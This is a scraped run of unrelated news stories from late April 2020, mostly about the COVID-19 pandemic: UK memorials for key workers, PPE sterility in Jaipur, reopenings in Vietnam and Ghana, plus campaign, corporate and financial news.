key workers who lost lives to coronavirus Firefighters outside Godstone fire station PA Silence for key workers who lost lives to coronavirus Salford Royal Hospital Getty Silence for key workers who lost lives to coronavirus Salford Royal Hospital PA Silence for key workers who lost lives to coronavirus Hospital workers take part in a protest calling on the British government to provide PPE across Britain for all workers in care, the NHS and other vital public services after a nationwide minute's silence at University College Hospital in London AP Silence for key workers who lost lives to coronavirus A school children's poster hanging outside Glenfield Hospital during a minute's silence Getty Silence for key workers who lost lives to coronavirus A man holds a placard that reads "People's health before profit" outside St Thomas hospital Getty Silence for key workers who lost lives to coronavirus Staff members applaud outside the Royal Derby Hospital, following a minute's silence PA Silence for key workers who lost lives to coronavirus Cabinet Secretary Mark Sedwill, Prime minister Boris Johnson and Chancellor of the Exchequer Rishi Sunak, stand inside 10 Downing Street, London, to observe a minutes silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus University College Hospital, London Hospital workers hold placards with the names of their colleagues who have died from coronavirus as they take part in a protest calling on the British government to provide PPE AP Silence for key workers who lost lives to coronavirus Staff at Waterloo Station in London, stand to observe a minute's silence, to pay tribute to NHS and key workers who have died with coronavirus AP Silence for key workers who lost lives to coronavirus Medical staff at the Louisa Jordan hospital stand during a UK wide minutes silence to commemorate the key workers who have died with coronavirus in Glasgow Getty Silence for key workers who lost lives to coronavirus London An NHS worker observes a minute's silence at Chelsea and Westminster Hospital Reuters Silence for key workers who lost lives to coronavirus Chelsea and Westminster Hospital in London AFP via Getty Silence for key workers who lost lives to coronavirus Belfast, Northern Ireland NHS staff observe a minutes silence at Mater Infirmorum Hospital Reuters Silence for key workers who lost lives to coronavirus Plymouth NHS workers hold a minute's silence outside the main entrance of Derriford Hospital Getty Silence for key workers who lost lives to coronavirus NHS Frimley Park Hospital staff at the A&E department observe a minute's silence Getty Silence for key workers who lost lives to coronavirus Mater Infirmorum Hospital People applaud after a minutes silence in honour of key workers Reuters Silence for key workers who lost lives to coronavirus Waterloo Station, London AP Silence for key workers who lost lives to coronavirus Wreaths laid outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus A group of trade unionists and supporters standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus First Minister Nicola Sturgeon stands outside St Andrew's House in Edinburgh to observe a minute's silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff stand outside the Royal Derby Hospital, during a minutes silence PA Silence for key workers who lost lives to coronavirus London Police officers observe a minutes silence at Guy's Hospital Reuters Silence for key workers who lost lives to coronavirus A woman standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus Royal Derby Hospital PA Silence for key workers who lost lives to coronavirus Leicester, NHS workers during a minute's silence outside Glenfield Hospital Getty The minutes silence was organised as part of a collaboration between public service trade union Unison, the Royal College of Nursing and the Royal College of Midwives. Dame Donna Kinnair, chief executive and general secretary of the Royal College of Nursing, said: I am heartened to hear how many people took part in the minute's silence to honour the memory of staff who have tragically died during the pandemic. We thought it was important to pay tribute publicly to those who have lost their lives to the virus, and I am proud that so many took the time to do so this morning. She also issued an urgent call for protection of workers, saying the death toll must not be allowed to rise. An even greater task now remains - to stop more joining the tragic number of those who have died. All key workers, healthcare staff among them, must be afforded the greatest protection, she said. So far, there have been more than 100 confirmed deaths of frontline workers since 25 March. The silence which was held on International Workers' Memorial Day was in stark contrast to the enthusiastic, loud clapping that has become a weekly focal point across the UK in Clap For Our Carers tributes. Andrea Sutcliffe, chief executive and registrar for the Nursing and Midwifery Council (NMC), said: Our tribute in silence today is as important as the noisy cheering for the NHS, social care and key workers on a Thursday evening. The Society of Occupational Medicine, whose members include more than 1,700 doctors, nurses, physiotherapists, occupational therapists and technicians, has said the goal should be zero work-caused fatalities. It is calling for the government to prevent any further work-related deaths and for employers to carry out risk assessments so people can safely return to their jobs when the lockdown is eased. The management board of the My Son Cultural Site in Quang Nam Province has announced that the site will welcome visitors from April 28, but tourists are requested to wear face masks and maintain distance from others. The site was temporarily closed for visitors since March 16 due to fear of COVID-19 spread. The Khanh Hoa Provincial Tourism Department said that it has developed scenarios targeting the domestic market this summer, with a focus on holidaymakers from Hanoi and Ho Chi Minh City. Popular tourist attractions in Nha Tran City will reopen soon, it said. In the same move, the Kien Giang Provincial Tourism Department has issued a document allowing travel agents and local places of interests to serve customers; however, only Vietnamese tourists and foreigners residing in Vietnam are allowed. Meanwhile in Hanoi, the hop on hop off city tour is scheduled to resume operation for Vietnamese customers only during the April 30-May Day holidays, according to Nguyen Viet Hung, deputy director of the Hanoi Transportation Corporations Yen Vien Bus Company which operates the tour. The Thang Long Imperial Citadel is also planning to reopen on the occasion. On April 29, the site will launch a virtual tour to its Building D67 and D67 Bunker, which served as the headquarters of Vietnamese Peoples Army during the 1968-1975 period. The site will also offer a virtual exhibition of 120 documents, photos and objects recounting the General Offensive and Spring Uprising of 1975. The exhibition will run until May 31. Surgeons in Rajasthans Jaipur have raised an alarm over the supply of non-sterile personal protective equipment (PPE) kits that are being used in operation theatres (OTs). The administration of the SMS Hospital, the premier institution in the state, has said on its part that procuring sterile kits will add to the cost and lead to a delay in supply so they were getting non-sterile kits that can be sterilised in OT sterilisation units before use. I noticed today that the PPE kits given to us are non-sterile. I checked with the supplier and he confirmed that he was giving non-sterile kits to the government. This is grave because use of non-sterile kits will expose patients in OT to infections, a surgeon at SMS Hospital in Jaipur said requesting anonymity. Another surgeon, who also didnt want to be identified, said he also noticed that the PPE kits were non-sterile. When I reached out to the hospital administration, they said the OTs were being supplied both sterilised and non-sterilised kits. But I am yet to verify this, he said. PPE kits in Rajasthan are procured by the Rajasthan Medical Services Corporation for use in government hospitals. According to a corporation official, it was getting the kits from four suppliers. Sunil Ramchandani, one of the suppliers based out of Jaipur, said sterilisation will disturb delivery schedules. Sterilisation takes around 10-12 hours and in our plant and we can put about 100 kits in one lot. So for the supply of 50,000 kits, we need 5,000 hours. The government wanted us to stick to delivery schedules and we wouldnt have been able to do that if we sterilised the kits, he said. SMS Hospitals superintendent Dr DS Meena said every operation theatre has a sterilisation unit and that the kits should be put through them before use. There are ETO machines in OTs that should be used to sterile the PPE kits. Some OTs have plasma machines. All these are used to sterile equipment. The kits should also be put through them, Dr Meena said. He said he was unaware about surgeons concerns but said they should be aware that a non-sterile item should be sterilised before use. When asked why hospitals dont procure sterile kits, he said the sterilisation process will add to the cost and delay delivery. We use around 1,500 kits a day and only 50-60 of them are used in the OTs. So our focus is on cost and timely delivery, Dr Meena added. SHARE THIS ARTICLE ON Dave Kotinsky/Getty Pride Month festivities this summer may be cancelled from coast to coast in the face of the coronavirus pandemic, but in a finished basement in Wilmington, Delaware, the party is just getting started. On April 23, LGBTQ celebrities and Broadway legends hosted A Fabulous Evening with Vice President Joe Biden, a $1.1 million celebrity fundraising extravaganza, in the words of emcee Billy Porter, complete with Pete Buttigieg, Billie Jean King and Kristin Chenoweth singing Popular from the musical Wicked. Two days later, Dr. Jill Biden joined fellow educator and political spouse Chasten Buttigiegs popular Instagram Live show to talk about teaching, meeting their respective husbands, and Democratic unity ahead of the general election. And on Monday, the would-be first lady hosted a virtual LGBTQ social hour, with appearances by queer activists, advocates, politicians, and a performance by Cyndi Lauper. Its simple: LGBTQ voters are a key component to Vice President Bidens coalition in November, said Reggie Greer, who recently joined the Biden campaign as its LGBTQ liaison, in explaining the push in queer-oriented campaign events. Pride Month is going to look a lot different this year, and it is very important to Vice President Biden, to Dr. Biden, to myself that we give the community hope. The spree of digital programming, outreach and fundraising efforts directed at LGBTQ voters and allies indicates that the Biden campaign sees LGBTQ votersand, perhaps just as importantly, their straight and cisgender alliesas critically important to the former vice presidents electoral strategy. Were a major constituency, said Lucas Acosta, national press secretary for the Human Rights Campaign, who noted that LGBTQ Americans are more likely to register and more likely to vote than their straight counterparts. As a result, we are going to see more conversations coming from candidates themselves around issues that are important to the community. Story continues Biden has, without question, made outreach to LGBTQ voters and their supporters a top priority of his general-election campaign. The former vice president has pledged to sign the Equality Act into law, which would ban discrimination based on sexual orientation and gender identity, within his first hundred days in office, to direct federal resources to help prevent violence against transgender women in the same period, and to undo a swath of anti-LGBTQ actions implemented by President Donald Trump, whose campaign promises to support queer communities have been dramatically broken since his inauguration. I think this is the civil cause of [your] generation, Biden told a supporter during a virtual fundraiser on April 8, when asked about expanding civil rights and protections for queer people. Biden called protecting LGBTQ Americans one of the two biggest causes of his lifetime, the other curing cancer, and pledged to make protecting trans women from violence one of his first priorities as president. The former vice presidents campaign has also released a massive plan to address numerous issues that have fallen by the wayside during the Trump administration, from citizenship recognition for the children of same-sex couples born overseas to trans equality in the military to protecting homeless LGBTQ adults and youth from facing housing discrimination under the guise of religious freedom legislation. Hes somebody who cares aboutand will be good at dealing withsomething thats not as glamorous and and splashy in the public eye, but that really makes a difference to peoples lives, said Evan Wolfson, founder of the organization Freedom to Marry. Which is making the mechanism of government agencies inclusive and supportive of gay and trans people. Pressure Mounts for Biden to Select a Black Woman as VP For years, Biden has evinced his bona fides on the issue of LGBTQ civil rights by pointing to his history-making interview on Meet the Press in 2012, when, in queer parlance, the then-vice president dropped his mascara and publicly threw his support behind the cause of marriage equality. That interviewin which Biden said that he was absolutely comfortable with same-sex couples being entitled to the same exact rights as heterosexual married coupleswas seen as forcing President Barack Obama to publicly declare his own evolution on what was then still a divisive political issue. It has been Bidens calling card when seeking the support of LGBTQ voters and their allies ever since. The Biden Plan To Advance LGBTQ+ Equality In America And Around The World, his proposal for protecting and expanding LGBTQ equality, begins with a quote from the interview, which is mentioned no fewer than four times over the next 8,100 words. Part of the challenge of LGBTQ voter outreach is that even Bidens extensive proposals, though a major departure from the current administration, seem less revolutionarymany of them are essentially part of the baseline expectations queer voters have for Democratic politicians. With marriage equality now the law of the land for half a decade, a younger, queerer generation is joining the voting ranks and asking the question: what are you going to do next? This is what every candidate should be talking aboutnot what I did once, but what I plan to do, said Annise Parker, president and CEO of the LGBTQ Victory Fund, a political action committee that works to train and elect LGBT candidates for public office. What you did once allows me to understand the depth of your commitment, but it doesnt tell me what youre going to do in the future. Obviously, our concerns go far beyond the epic transformation of winning the freedom to marry, said Wolfson. Nobodyincluding me, who led the campaign to win marriageever thought that winning marriage was the only thing that mattered. But it is and and remains, as Joe Biden might say, a BFD. Those high expectations mean that turning out LGBTQ voters will require special outreach, Greer said, as well as partnerships with advocacy organizations within the community, and with elected LGBTQ officials like Colorado state representative Leslie Herod, who was elected in 2016 as the first black LGBTQ member of the state general assembly. The Biden team does not just have people of color and LGBT people up front, as a kind of figurehead, Herod told The Daily Beast. There are so many folks who are behind the scenes, working on the policy, who will be directly impacted by the policies, which is why I think theyre so solid. Whatever all of our partner organizations are doing, the Biden campaign and LGBTQ+ For Biden wants to be an active partner in ensuring that their coalition is our coalition, and that they can find a home with Vice President Biden, Greer said. Even the most fervent ally can occasionally stumble on LGBTQ issues, and the former vice president is no exception. Biden faced heat from some gay supporters when he praised Vice President Mike Pence, whose longtime hostility to anything queer has made him a loathed figure among many LGBTQ people, as a decent man. During a CNN town hall devoted to discussing issues of interest to LGBTQ voters last October, Biden responded to a question about racial disparities in HIV infection rates by mentioning gay bathhouses and round-the-clock sex to illustrate how the discourse about homosexuality has changed since the Bush administration. Moments like that, advocates told The Daily Beast, are when commitments beyond legislative priorities, including potentially committing to nominating the first out cabinet secretary in American history, can be usefuleffectively broadening the coalition of LGBTQ support in a potential Biden administration beyond one man. We expect Biden to publicly and overtly commit to having a direct administration and a federal bureaucracy that looks like America, Parker said. And that means that it has to include a proportionate number of LGBTQ appointees, and at the highest levels. Thats where it really goes to the candidates character, the candidates heart, and the candidates teamwho has this person brought around him, said Wolfson, who interned in Bidens Senate office in 1976 and has advised him on LGBTQ issues. Thats one very, very important question that I think he scores very high on his openness to building a strong and diverse team. Greer said that while it may be too early to talk about the specifics of what a Biden administration might look like, you can guarantee that talented and qualified LGBTQ people will be serving at all levels of government, from the top down. The electoral benefits of such commitments are potentially massive. In 2016, using decades of polling data, group membership and surveys, the Human Rights Campaign created a model identifying voters who prioritize LGBTQ issues at the ballot box. They are disproportionately women, disproportionately young, disproportionately people of color and have a strong presence in the suburbs, Acosta said, effectively listing off the most important Democratic constituencies that any nominee would hope to activate in a close general election. The groups index of so-called Equality Voters has identified more than two million such registered voters in the swing states of Arizona, Florida, Michigan, Nevada, Pennsylvania and Wisconsinstates where the collective margin of victory in the 2016 election was only 196,000 votes. Bidens inclusion of LGBTQ-related policies in his other proposals is key to reaching those types of voters, Wolfson said, is equally important to those voters who view LGBTQ neighbors as part of We the People. We could not have won the freedom to marry solely on the strength of gay people, Wolfson said. We won because we persuaded, for every one of us, five to 10 non-gay people to open their heart and change their mind. Read more at The Daily Beast. Get our top stories in your inbox every day. Sign up now! Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more. L ong have Londoners complained about the price of a pint, but lockdown has inspired one man to pay 800 for a freshly-poured glass of draught beer delivered to his doorstep. Warwick Adderley claimed his pint on Monday, though not to satiate an overwhelming thirst. Instead, Adderley outbid the likes of Jodie Marsh and Chris Moyles as part of a five day public auction held by Camden Town Brewery; last week, the brewery took to Twitter asking drinkers how much theyd pay for home delivery of a pint of draught Hells, with the highest bid going to support charity Hospitality Action as they work to brace businesses devastated by Covid-19. Adderley, whose pint was dropped off two metres from his home, said: The virus affects us in different ways. Its good for those of us who can work from home to support those of us who cant. Ill raise a glass to that. Camden Town matched Adderleys bid, also donating 800. The brewerys founder, Jasper Cuppaidge, said: With all the pubs being closed, were all definitely missing a fresh, draught pint so it was so great to see people come together to bid for this great cause to support the teams who are usually the ones pouring pints. The money weve raised for Hospitality Action will support the teams in the industry with financial guidance and counselling, now and in the future. The news comes as many restaurants are doing what they can to adapt to lockdown life, with some of the biggest chains beginning to reopen for delivery. Meanwhile, many in hospitality are calling for landlords to grant a rent break, hoping to save a number restaurants from certain closure. Today, news emerged of out-of-work restaurant staff sleeping on the streets, as restaurant bosses said social distancing measures would "wipe out" the industry. "It will help our customers detect threats safely and easily in an ever-wider variety of situations," said Inventor, JJ Lehett. PathSensors Inc, a Baltimore biotechnology company, announced a novel invention as an accessory to the BioFlash Biological Identifier system. The invention, a probe for enclosed air sampling, was developed by the Engineering Team. This added intellectual property strengthens PathSensors capabilities in the mail screening and biodefense markets. Incorporating the CANARY technology, the BioFlash provides rapid, sensitive, and specific identification of biological threat agents such as Anthrax and Ricin. The portable and compact BioFlash offers breakthrough capabilities, now including easier-to-use enclosed air sampling. In operation, aerosol threat detection devices, like the BioFlash, need to sample from the surface and enclosed spaces to determine if there are threat agents present. In these situations, it is desirable to pull an air sample from these spaces with minimally invasive procedures to minimize exposure to any threats present. The user may hold the probe via the integrated grip, and puncture or insert the probe tip into the object requiring air sampling. The probe is then connected via a hose to the detection device. We didnt see anything like this solution on the market, so we developed a probe of our own, says one of the inventors, JJ Lehett. It will help our customers detect threats safely and easily in an ever-wider variety of situations. Please contact us for additional information; call (443)557-6150 or email info@pathsensors.com. About CANARY Technology CANARY is a biosensor technology that delivers extremely rapid detection of pathogens with high sensitivity and specificity. Originally developed by scientists at MITLincoln Laboratory to combat bioterrorism threats, CANARY technology has been licensed and commercialized by PathSensors, Inc. About PathSensors, Inc. PathSensors is a leading environmental testing company, built on CANARY technology which is exclusively licensed from MIT-Lincoln Laboratory. CANARY offers cutting-edge pathogen detection capabilities to a variety of industries including food safety, agriculture, and bioterrorism. The companys mission is to make the world a safer place by detecting pathogens that can cause sickness or worse while creating high technology jobs in the state of Maryland. Vinhomes Q1 post-tax profit was up 2.7 times year-on-year to VND6.84 trillion ($291 million) apparently thanks to the profitable divestment of a subsidiary. The company disclosed no details about the transaction. Its financial income tripled to VND8.59 trillion ($365 million). Sales of housing units rose 11 percent to VND6.52 trillion ($277 million), mostly at the Vinhomes Marina apartment and villa complex in the northern city of Hai Phong. The company's balance sheet shows a 3 percent rise in asset value to VND203 trillion ($8.6 billion); liabilities at VND130 trillion ($5.5 billion) and VND72 trillion ($3 billion) in equity. Vinhomes accounts for about half of the revenues of its parent Vingroup, the largest private firm by market capitalization in Vietnam. [April 28, 2020] BambooHR Appoints Amy Frampton as Head of Marketing to Build Out Executive Team for Next Phase of Growth BambooHR, the industry's leading cloud-hosted software provider dedicated to powering the strategic evolution of human resources, today announced the appointment of Amy Frampton as Head of Marketing. Frampton brings nearly two decades of marketing and technology experience to her new post and will lead all marketing functions, reporting directly to CEO Brad Rencher. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005311/en/ Proven tech marketing executive Amy Frampton joins BambooHR as Head of Marketing. (Photo: Business Wire) "I'm thrilled to be joining the BambooHR team at an exciting time, as the company prepares to take major steps forward in realizing its vision to set people free to do great work," Frampton said. "I'm passionate about the power of technology to unlock human potential. I'm especially delighted to be joining a company with such an amazing culture and focus on driving solutions for our customers." Frampton joins BambooHR after spending more than 15 years in technology and marketing leadership roles in the greater Seattle area. Previously, she was VP of Product Marketing at Smartsheet, a leading work management software company. Before that, she served in marketing and leadership positions at Vulcan (the holding company founded by Microsoft (News - Alert) Co-Founder Paul Allen), Hewlett Packard Enterprise, and Microsoft. The first executive hire since Rencher was named CEO last October, Frampton is a key addition as BambooHR makes strategic enhancements to its leadership team to position for the company's next phase of growth. "We're elated to have Amy onboard as we deepen our leadership posture in HR technology and work to make a profound impact in the world," Rencher said. "Even amid economic uncertainty, we're making calculated investments in our very promising future. That includes bolstering our executive bench. We're fortunate to be built on an exceptionally strong foundation forged by disciplined founders, dedicated employees, and loyal customers." "At BambooHR, we've always followed the ethos that organizational power comes from your people," said BambooHR Co-Founder and Co-Chairman Ben Peterson. "We practice what we preach, and we expect our leaders to have high emotional intelligence, invest themselves in building people and teams, and bring genuine empathy to customer interactions. We had a high bar for this position, an we weren't going to settle. With Amy, we're delighted that we found everything we were looking for." Frampton assumed her duties on April 27, working remotely along with the rest of the BambooHR team. She will relocate to Utah once COVID-19 concerns are abated. "We're proud of what we've built so far, and we know the leadership team that's materializing around Brad Rencher will take BambooHR to the next level," said Co-Founder and Co-Chairman Ryan Sanders. "The whole concept of work is changing, and BambooHR is right in the middle of it all. Big things are ahead, and we're excited to be a part of it." From recruitment and onboarding to performance management and employee engagement, the BambooHR cloud platform is a leading end-to-end system for the entire employee lifecycle for small to medium-sized businesses. Known for its workplace initiatives like paid-paid vacation, financial education support, and parenting classes, BambooHR leads today's employee experience evolution for its own employees and the company's 15,000 customers across 120 countries. About BambooHR With 600 employees, 17,000 customers and over a million users worldwide, BambooHR is a leading and innovative platform for Human Resources in the SMB market. BambooHR's software makes it easy for HR professionals to collect, maintain, and analyze data, improve the way they hire talent, onboard new employees, manage compensation, and develop their company culture. It's designed to set organizations free to focus on what matters most-people. BambooHR's clients include innovators like Asana, Foursquare (News - Alert), Stance, and Reddit. BambooHR also hosts more than 30,000 HR professionals at its annual HR Virtual Summit. Recent recognition and awards include the 2019 Forbes Cloud 100, Fortune's Top 50 Workplaces in Technology, a Best Small & Medium Workplace for the third consecutive year, Best Workplaces for Women, and Best Workplace for Millennials by Great Places to Work. The company recently announced its membership in the Google (News - Alert) Cloud Technology Partner Program as a new integration partner, giving Google Cloud customers the ability to unite their Cloud Identity and HR solutions, simplify user lifecycle management, and improve security. To find out more, visit bamboohr.com or follow us on Twitter (News - Alert) at @bamboohr. Learn more on LinkedIn, Twitter, Facebook and Instagram. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005311/en/ [ Back To TMCnet.com's Homepage ] Source: Xinhua| 2020-04-28 17:44:21|Editor: huaxia Video Player Close WINDHOEK, April 28 (Xinhua) -- Namibia's economy is expected to contract by 6.9 percent in 2020, following a milder contraction of 1.1 percent in 2019, the central bank said Tuesday, The Bank of Namibia (BoN) in an Economic Outlook Update for April 2020 said Namibia's economy is expected to contract substantially during 2020, due to COVID-19 induced travel restrictions and lockdown. "The domestic economy is projected to contract by 6.9 percent in 2020 before recovering moderately to a positive growth rate of 1.8 percent in 2021," the central bank said. According to the BoN, risks to domestic growth are currently dominated by uncertainty regarding the expected duration and final impact of COVID-19 on the economy. "Risks to domestic growth are dominated by ongoing travel restrictions and causing disruptions to supply. Other risks to domestic growth and outlook include the volatile and persistently low international prices of some of Namibia's export commodities," according to the central bank. Enditem Switch the Market flag Open the menu and switch the Market flag for targeted data from your country of choice. for targeted data from your country of choice. S ince the virtues of washing our hands every twenty minutes were extolled by governments around the world, hands around the world have been decidedly cleaner. For those on the frontline though, having access to handwash every twenty minutes is simply not always feasible, and that has lead many to rely upon hand sanitiser. In the month of February alone - before lockdown was enforced in the UK - sales of hand sanitiser soared by 255 per cent, according to data analysts Kantar. But, two months in, and provisions have started to dry up. So, in a bid to aid the international effort to provide aid and provisions, Italian jewellery brand Bvlgari has rewired its practices in order to provide help where needed. Bvlgari Its efforts began in February when it donated a state-of-the-art 3D high definition microscope which will aid in the development of a vaccine to the Spallanzani Hospital in Rome. In March, as Covid-19 continued to take more lives in Italy, the brand then transformed its fragrance factories to instead manufacture hand sanitiser, with a view to it then being distributed to hospitals and medical facilities across Italy and Switzerland. And now Bvlgari's efforts have arrived on British shores, as the brand announces it will donate over 160,000 units of medical-grade hand sanitising gel to the NHS at the beginning of May. The gel will conveniently be housed in 75ml recyclable bottles, meaning they're sustainable and also compact enough to be carried around in healthcare workers' pockets. Bvlgari "We started with our home country Italy as it was initially the most impacted country. Then we decided to extend our donation to Switzerland, one of the European countries with the highest number of infected people per million inhabitants. Now we further raise our donation to support the NHS," Bvlgari's CEO Jean-Christophe Babin commented. U niversity students have told how they are more anxious than excited about starting their careers after graduation amid the coronavirus pandemic. They noted that work experience placements and internships are already being cancelled as a result of the crisis. And more than two in five third-year students said Covid-19 has changed their perceptions of entering the job market, according to a new poll. The findings, published in a paper from the Higher Education Policy Institute (Hepi), suggest some students are concerned about the economy and recruitment freezes, while others are worried about entering professions like healthcare, which have been affected by coronavirus. However, the survey of 1,039 undergraduates suggests that more than three in four (79 per cent) feel confident about securing a graduate level job once they leave higher education. But when asked about their feelings towards entering the labour market, more students (28 per cent) cite anxiety as their primary emotion, ahead of confidence (23 per cent) and excitement (14 per cent). The poll, carried out for HEPI by YouthSight between March 27 and April 1, found that nearly a third (29 per cent) of students said the Covid-19 pandemic has altered these feelings. But 42 per cent of third-year students say the coronavirus crisis has changed their perception. Rachel Hewitt, director of policy and advocacy at Hepi, said: "These results show students feel confident about finding work, but anxious about starting their career. "This anxiety has been there since before the current pandemic for many students, but for almost a third the current circumstances have exacerbated these feelings. File image An employee of the NITI Aayog working at NITI Bhavan in New Delhi has tested positive for the novel coronavirus. Follow our LIVE blog for the latest updates of the novel coronavirus pandemic In a tweet, NITI Aayog said: An employee working at NITI Bhavan has been detected positive with COVID-19. It was informed to the authorities at 9 am this morning. NITI Aayog is following all the due protocols necessary as per the Ministry of Health guidelines. The building has been sealed. NITI Aayog said in another tweet that disinfection and sanitisation of the building is underway and contacts of the person have been asked to self-quarantine as a precautionary measure. As per the Union Health Ministrys latest update, Delhi has so far reported 3,108 confirmed cases of COVID-19. This number includes 877 patients who have recovered and 54 who have died due to the novel coronavirus outbreak in the national capital. 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United Arab Emirates United Kingdom of Great Britain & N. Ireland Uruguay, Eastern Republic of Uzbekistan Vanuatu Venezuela, Bolivarian Republic of Viet Nam, Socialist Republic of Wallis and Futuna Islands Western Sahara Yemen Zambia, Republic of Zimbabwe 28.04.2020 LISTEN Zoomlion Ghana Limited (ZGL), through its Vector Control Unit, is not relenting in its efforts to support the central governments battle against the novel coronavirus (COVID-19) pandemic. In view of that, the company has fumigated and disinfected the countrys premier airport, Accra Kotoka International Airport, and three others in Kumasi, Takoradi and Tamale. Briefing the media at the KIA, Head of the Zoomlion Disinfection Team, Reverend Kwame Addae, disclosed that the exercise was simultaneously done in all the four airports in the country. He noted that it was aimed at keeping the airports healthy and also to prevent the spread of the virus. In the case of KIA, Rev Addae said the whole airport environs including the Project Site and its clinic were disinfected. He went on to add that facilities disinfected at the Accra Kotoka International Airport included the tarmac, parking lot, arrival hall, passenger terminals 1, 2, 3, VVIP terminal, offices, lounges, etc. According to him, in addition to the team of sprayers used in the exercise, his outfit also used cannon atomizers to spray open spaces of the airport. Minister of Aviation, Joseph Kofi Adda, who was at the KIA to monitor the exercise, expressed the governments appreciation to Zoomlion and its partners for their continuous selfless support in the countrys fight against COVID-19. He said the exercise was targeted at making sure that all the airports in the country were safe for use. However, the minister disclosed that domestic flights would be allowed to operate from May 1, 2020. Following the COVID-19 pandemic, Zoomlion as part of its corporate social responsibility (CSR), has disinfected a number of tertiary institutions across the country, state agencies, churches among others. Significantly, this initiative was on-going. This initiative by the waste management giant is aimed at supporting the governments efforts in containing this global pandemic which has spread to almost every country crashing economies and breaking health-care systems, leaving in its wake a huge death toll. The Sunyani city authorities have buried 33 unclaimed bodies to decongest the Sunyani Regional Hospital morgue which was congested due to governments directive on public gatherings to stem the spread of the Coronavirus disease (COVID-19). So far, the nation has recorded 1,550 confirmed cases of COVID-19, with 11 deaths and 155 recoveries. Workers of the Municipal Assembly and health officials were sighted wearing protective gear while they buried the unidentified bodies in a mass grave at the Sunyani public cemetery. The Ghana News Agency (GNA) investigations showed the bodies, including three children, had been kept at the hospitals mortuary for long periods, some as long as five years. In an interview with the Ghana News Agency (GNA), Madam Justina Owusu-Banahene, the Sunyani East Municipal Chief Executive said the Assembly in collaboration with authorities at the Regional Hospital and the Sunyani Municipal Security Council organised the mass burial. Bystanders could not hide their tears, as the solemn ceremony observed Christian, Muslim, and Traditional prayers for the dead. The Ghanaian culture revered burial and funeral rites as families, relations, and friends used the occasion to pay their respect to the departed souls. Most often, bodies of the deceased are dressed, and laid in state for public view, while mourners from walks of life commiserate with relations. But, President Nana Addo Dankwa Akufo-Addo directed the suspension of large gatherings, as the nation's confirmed cases of the COVID-19 surged. According to the Presidents directive, no funeral ceremony should exceed more than 25 people, a situation which had discouraged many families to bury their dead relatives. Mad. Owusu-Banahene indicated the Regional Hospitals mortuary was choked because families had failed to collect and bury their deceased relations because of the governments restrictions, hence the need for the mass burial. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video 27.04.2020 LISTEN While we may adore celebrities and public figures for their sense of great fashion style and class, we sometimes forget to think about how they pulled it all together. Most, if not all celebrities, have people behind the scenes who advice and probably decide on what to wear the colours to match the occasion, the brands to wear, hair styleand how to wear them. In Ghana, one of the people who have been behind the style of several top celebrities is Coverboy Kobby. Born Manasseh nana Agyapong Amoah, he is widely known in the Ghanaian and fashion fraternity as Coverboykobby. Coverboy Kobby is indeed a force to reckon with in this competitive age of style, glitz and glamour. He was born on 4th April in Kumasi, the capital of the Ashanti Region of Ghana. A graduate from the University for Development Studies (UDS), Coverboy Kobby works mainly as a fashion Stylist, image consultant, brand Influencer and models manager. His work of art springs from the norm to cutting edge designs, engineered to suit any class, taste and style of preference. He is currently the official stylist for Ghanaian actress and TV Host, Benedicta Gafah. Additionally, he has styled several styled renowned personalities and beauty queens such as Miss Margaret Derry (Miss Ghana 2017) Miss Zeinab, Ghana's (Most Beautiful 2017), Selorm Tay (Mr Ghana 2015), Richard (Mr Ghana 2018) Miss Yisha Zanya Bugr (Miss Tourism Africa 2017). Musicians and actors he has styled also include Becca, Nana Ama McBrown, Stonebwoy, Kofi Kinaata, Kumi Guitar, Ohemaa Gh and Aaron Ayiih, Host of Rythmz Live on GHone TV. Aside from these personalities, he has worked with several top brands for commercial shoots including Twellium Ghana Limited, producers of Rush Energy Drink and Verna water. He has also styled musicians for several video shoots. Going with the tagline Your Looks Our Pride, Coverboy Kobby won the Creative Director in Fashion at Odartey Style and fashion Awards 2020. Because of his dedication to his work, he has been recognized in several local and international awards including Nuit Du Styliste African Fashion Show and Awards in Benin. Access for anglers and boaters to a 5,340-foot section of Conewago Township in Butler Township, Adams County, will continue regardless of any future sale of the property under an easement agreement approved Monday by the Pennsylvania Board of Fish and Boat Commissioners. Knouse Foods, which already permits public access on the property, will sell the easement to the property along Russel Tavern Road and Zeigler Mill Roads to the commission for $84,000 from the agency and $16,000 from the Adams County Chapter of Trout Unlimited. The easement also will allow for riparian and fishery management on the parcel, according to the commission. Commissioners also accepted a donation of 2.25 acres in Benner Township, Centre County, from the Stocker family. The property, sandwiched between existing commission and Penn State properties, will add 575 feet of public fishing access along Spring Creek. The board also authorized the leasing of Minsi Lake to Northampton County, which has operated the property as a public park since 1975. The new 25-year agreement continues previous agreements that required the property to remain open to public fishing and boating free of charge. In Luzerne County, commissioners voted to turn a commission-owned property at 1308 Susquehanna Avenue, West Pittston, over to the Pennsylvania Department of General Services for disposition. In other action, commissioners approved the designation of 33 stream sections to states list of Class A wild trout streams, the addition of 85 new waters to the commissions list of wild trout streams and a revision to the section limits of eight waters. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. Contact Marcus Schneck at mschneck@pennlive.com. Monday, April 27, 2020 The Zacks Research Daily presents the best research output of our analyst team. Today's Research Daily features new research reports on 16 major stocks, including Intel (INTC), Novartis (NVS) and Toyota Motor (TM). These research reports have been hand-picked from the roughly 70 reports published by our analyst team today. You can see all of todays research reports here >>> Intels shares have underperformed the Zacks General Semiconductor industry over the past six months (+3.7% vs. +11.5%). The Zacks analyst believes that robust mix of high-performance second-generation Xeon Scalable processors and solid demand from Cloud service providers is expected to drive near-term growth. The company is also making advancements in the IoT space, courtesy of product introductions and tie ups. Moreover, Intel is witnessing strong momentum for its first 10-nanometer (nm) mobile CPU. Notably, the company has not provided 2020 guidance citing coronavirus crisis-induced business uncertainty. Further, declining PC total addressable market, higher expenses pertaining to 10-nm ramp up and 